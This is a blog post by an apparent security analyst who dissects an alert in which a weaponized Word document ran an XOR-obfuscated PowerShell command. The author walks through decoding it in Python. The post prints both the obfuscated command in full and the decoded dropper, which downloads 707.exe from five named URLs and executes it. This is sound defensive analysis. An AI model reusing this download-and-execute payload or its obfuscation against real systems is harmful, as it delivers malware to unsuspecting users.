This was an interesting rabbit hole I ventured into. What started as a simple alert for an end user, turned into what felt like a CTF as I decided to dig deeper, and beat this alert like I was going to make an omelet out of it. While I could have moved onto the next thing, I wanted to not only see what the payload intended to do, but dissect the payload to figure out how it was created. This is part one, the Blue part of this story.
tl;dr version: I posted two hour long sessions on YouTube, figuring this out with help from @sneakerhax. The second video seems to have issues with the video i.e. I muffed and instead of seeing the screen I was sharing, it was recording Sneakerhax. Join us on our Haxcellent Adventures as we take you on our badass hacker journey, and I eventually get the video production squared away.
PowerShell Obfuscation Video – Part 1
PowerShell Obfuscation Video – Part 2
Not too long ago I received an alert regarding an end-user opening a weaponized Microsoft Word document, aptly named greeting-card-July-4th.doc. If the name of the document is an indicator, this was a targeted message close to the 4th of July. Looking back, this might have been more successful had the holiday been closer to a weekend rather than the middle of the week but nonetheless, the end-user opened the document.
“C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE” /n “$userpath\AppData\Local\Microsoft\Windows\INetCache\IE\HGSZ26JD\greeting-card-July-4th.doc” /o”
This document triggered the obfuscated PowerShell command below. It was fairly obvious this warranted some attention considering how PowerShell was opened using a Word document. Thankfully, any further activity was prevented, and while I could have moved onto the next thing, but I wanted to break this alert down. I had seen similar alerts in the past that obfuscated commands using Base64, but this one was a bit more interesting. Let’s break this down.
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe [STRiNg]::JOin('',( ( 57,103 ,127,72,32 , 115,120,106 , 48, 114, 127 , 119 ,120, 126,105,61,83 , 120 , 105 , 51 , 74,120 ,127, 94, 113 ,116 ,120 , 115, 105 ,38,57, 91 , 92, 109 , 32,58,117, 105,105,109 , 39 ,50,50,106 ,106 , 106 , 51,120,126, 104 , 124,121 ,114,111 , 120,110 , 114,111 , 105 ,51,126 ,114 ,112 , 50,82,124 ,50, 93 , 117, 105,105 , 109,39 ,50, 50,106 , 106, 106,51 ,121 ,120 ,110 ,110, 120,111,105, 126,124 , 118,120 ,51 , 126 ,114,112 , 51 ,104 ,124 , 50,117 ,120 ,41,123 , 50 ,93 , 117 , 105 ,105 , 109 , 110, 39 , 50 ,50, 106 , 106 , 106,51 , 118,100 ,43, 43, 46,51 , 126,114, 112,50, 103, 103, 121, 50,93 , 117, 105 ,105 ,109 , 39 , 50, 50,106 ,106, 106 , 51 , 117,104 ,115 , 105 , 120,111, 48 , 118, 116 , 115,122,110 , 51,126,114 ,112, 50 ,106, 109,48, 126 , 114, 115 ,105, 120,115 ,105 , 50 ,126 , 103,75,127, 90 ,127,50 ,93, 117,105 ,105,109, 39 ,50 , 50,106,106 , 106, 51, 121 ,114 ,105 ,113,120 ,115,116 , 120 , 115 ,116 ,51,109,113, 50,91, 118 ,40,119 , 50,58,51 , 78, 109, 113,116 , 105 , 53, 58 ,93 , 58 ,52,38 , 57, 88,124 , 90, 61,32 , 61 ,58,42, 45 , 42,58,38 , 57, 83 ,106 ,94, 32 ,57 ,120 , 115 , 107 , 39 , 105 ,120 , 112 , 109,54,58 ,65,58, 54 ,57,88, 124, 90 ,54,58 ,51,120,101, 120 , 58, 38 , 123 ,114, 111, 120 , 124 , 126, 117 , 53,57 , 112 ,78 , 116 ,61 ,116 , 115,61,57 ,91, 92, 109,52, 102, 105 ,111 , 100,102,57 , 103,127 ,72, 51 ,89, 114, 106,115, 113 ,114, 124,121, 91 ,116 , 113 ,120 , 53 , 57 ,112 ,78 , 116 , 49,61 , 57, 83,106, 94 , 52 ,38 ,78 , 105,124 ,111 ,105,48,77, 111,114,126,120 , 110 ,110,61,57 ,83 ,106 , 94, 38 , 127 , 111 , 120, 124, 118, 38,96, 126 , 124 , 105 , 126, 117 ,102 ,96,96 )|foREACH-ObJEcT { [CHAR]($_ -BXOr 0x1d )}) ) |& ((GV '*Mdr*').nAmE[3,11,2]-jOIN'')
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe [STRiNg]::JOin
So the first part of the command, is running powershell.exe which triggers powershell to run the following command, which in this case being String Join, which will join the following string of numbers. If you take a close look, you’ll notice the command has a stRangE appearance with the lettering having inconsistent capitalization.
This is a method often used to bypass input validation that looks familiar if you have seen payloads for things like XSS or various command injection attacks. Rather than continuously paste the entire string of numbers, I’ll talk about the additional command at the end of the string.
|foREACH-ObJEcT { [CHAR]($_ -BXOr 0x1d )}) ) |& ((GV ‘*Mdr*’).nAmE[3,11,2]-jOIN”)
Ok, in this part of the payload, the joined string is being piped into the next command which will convert the ascii character “foreach-object” against $_, which represents a single character of a string, just like the “i” in a loop “for i in thing” would iterate for each of the values in a given string.
I knew something was being done for each of the objects in the string, but had not yet made the leap of manipulating strings of information using simple math, which in this case was where I started reading up on Bitwise XOR operators, specifically what information I could find related to PowerShell Bitwise XOR.
Anyway, my coworker walked me through bitwise operators, and I was able to put things together with what I knew about converting binary numbers, but he beat me to the punch and had written a Python script that de-obfuscated the string. I wanted to take a look at the script but like most days on the defensive side of things, the next alert/meeting/project/<noun> took precedence, but I didn’t want to let this one go until I saw what the payload was going to do, and more importantly I wanted to know how to reproduce the steps to de-obfuscate it.
While I was gathering more information, I searched for things like xor, bxor, and a bunch of ways to manipulate strings.
Here was my first attempt using Python:
#!/usr/bin/python
bxor = 0x1d #The bxor key used to decode the string
payload = [the string] #The String from the payload
print (“My original line: print ‘ ‘.join(chr(p) for p in payload)”)
print ‘ ‘.join(chr(p) for p in payload)
And here’s the output:
My original line: print ‘ ‘.join(chr(p) for p in payload)
9 g ⌂ H s x j 0 r ⌂ w x ~ i = S x i 3 J x ⌂ ^ q t x s i & 9 [ \ m : u i i m ‘ 2 2
j j j 3 x ~ h | y r o x n r o i 3 ~ r p 2 R | 2 ] u i i m ‘ 2 2 j j j 3 y x n n x o
i ~ | v x 3 ~ r p 3 h | 2 u x ) { 2 ] u i i m n ‘ 2 2 j j j 3 v d + + . 3 ~ r p 2 g g
y 2 ] u i i m ‘ 2 2 j j j 3 u h s i x o 0 v t s z n 3 ~ r p 2 j m 0 ~ r s i x s i 2
~ g K ⌂ Z ⌂ 2 ] u i i m ‘ 2 2 j j j 3 y r i q x s t x s t 3 m q 2 [ v ( w 2 : 3 N m q
t i 5 : ] : 4 & 9 X | Z = = : * – * : & 9 S j ^ 9 x s k ‘ i x p m 6 : A : 6 9 X
| Z 6 : 3 x e x : & { r o x | ~ u 5 9 p N t = t s = 9 [ \ m 4 f i o d f 9 g ⌂ H 3 Y r
j s q r | y [ t q x 5 9 p N t 1 = 9 S j ^ 4 & N i | o i 0 M o r ~ x n n = 9 S j ^ &
⌂ o x | v & ` ~ | i ~ u f ` `
Ok, so I was able to convert the characters in the string….incorrectly, but progress nonetheless. At this point my coworker had given me the python script that de-obfuscated the string correctly; however, I wanted to make sure I understood how to reproduce it so I included it below:
bxor_key = 0x1d #The decoding key
evil_string = ” #The output is going to be written to this string#The loop iterates through the payload converting ASCII of the decoded
for char in payload:
evil_string += chr(char ^ bxor_key)#Write the evil string to plaintext_payload.txt
with open(‘plaintext_payload.txt’, ‘w’) as pfile:
pfile.write(evil_string)
Ok, so I understand what each line is doing, but the results for mine were inaccurate, and then I noticed something that looked similar:
De-obfuscation string: chr(char ^ bxor_key)
Original Payload: [CHAR] ($_ -BXOr 0x1d)
The original powershell payload had the correct equation and reproducing this in Python was pretty simple. Rather than writing the output of the script to a file, I wanted to display the output in the command line, so I updated my script to use this command to display the correct output:
print ‘ ‘.join(chr(p ^ bxor) for p in payload)
De-obfuscating this took less than five lines of code. No modules, functions, or classes. Just simple math. Mind blown! I ran my script again, this time with the correct equation, and it’s looking more coherent; however, the spacing makes it hard to read, let alone run.
print ”.join(chr(p ^ bxor) for p in payload)
After looking at what I was trying to print, this was a simple fix. All I needed to do was remove the space in the ”.join portion of the code which is what was creating the space between each character. Booyah! I’ve pushed button and am now receiving bacon. We have output we can do something with.
$zbU=new-object Net.WebClient;$FAp=’http://www.ecuadoresort.com/Oa/@http://www.desser
tcake.com.ua/he4f/@https://www.ky663.com/zzd/@http://www.hunter-kings.com/wp-content/czVbGb/@http://www.dotlenieni.pl/Fk5j/’.Split(‘@’);$EaG = ‘707’;$NwC=$env:temp+’\’+$EaG+’.exe’;foreach($mSi in $FAp){try{$zbU.DownloadFile($mSi, $NwC);Start-Process $NwC;
break;}catch{}}
Now that we have de-obfuscated the payload, we can determine what it does by looking at the commands…or we can take the YOLO approach and attempt to go to the sites, or…….
First, lets look at the script. First, you’ll notice the variables in the PowerShell command are also given strange cases. This could be another case of attempting to bypass validation checks, or the preference of whoever put the payload together. The New-object Net.WebClient is performing a query of the URLs in the $FAp variable. Next, we see the variable created has all five URLs in a list. The “@” is defined as a separator or where the URLs are split in the “.Split(‘@’)“. Next, the variable $EaG is defined as ‘707’. and further in the payload the 707 is going to be appended to ‘.exe’. The instruction to loop (foreach) indicates it’s attempting to download and execute the 707.exe in the path, specified as $NwC=$env:temp+’\’+$EaG+’.exe’
When initially attempting to check the sites on VirusTotal around the time we received an alert, there weren’t indications of URLs being malicious or compromised; however, by the time Sneakerhax and I did our hangouts walking through the payload, which was a couple weeks after initially discovering it, the intelligence feeds were updated and all the URLs were labeled as malicious.
This concludes the defensive end of this story. The next article will be from the Red point of view where I will approach this scenario from the other side by doing the following:
- Talk about and set up the Invoke-Obfuscation tool on my Windows VM
- Constructing a similar obfuscated payload
- Weaponizing a Document
References: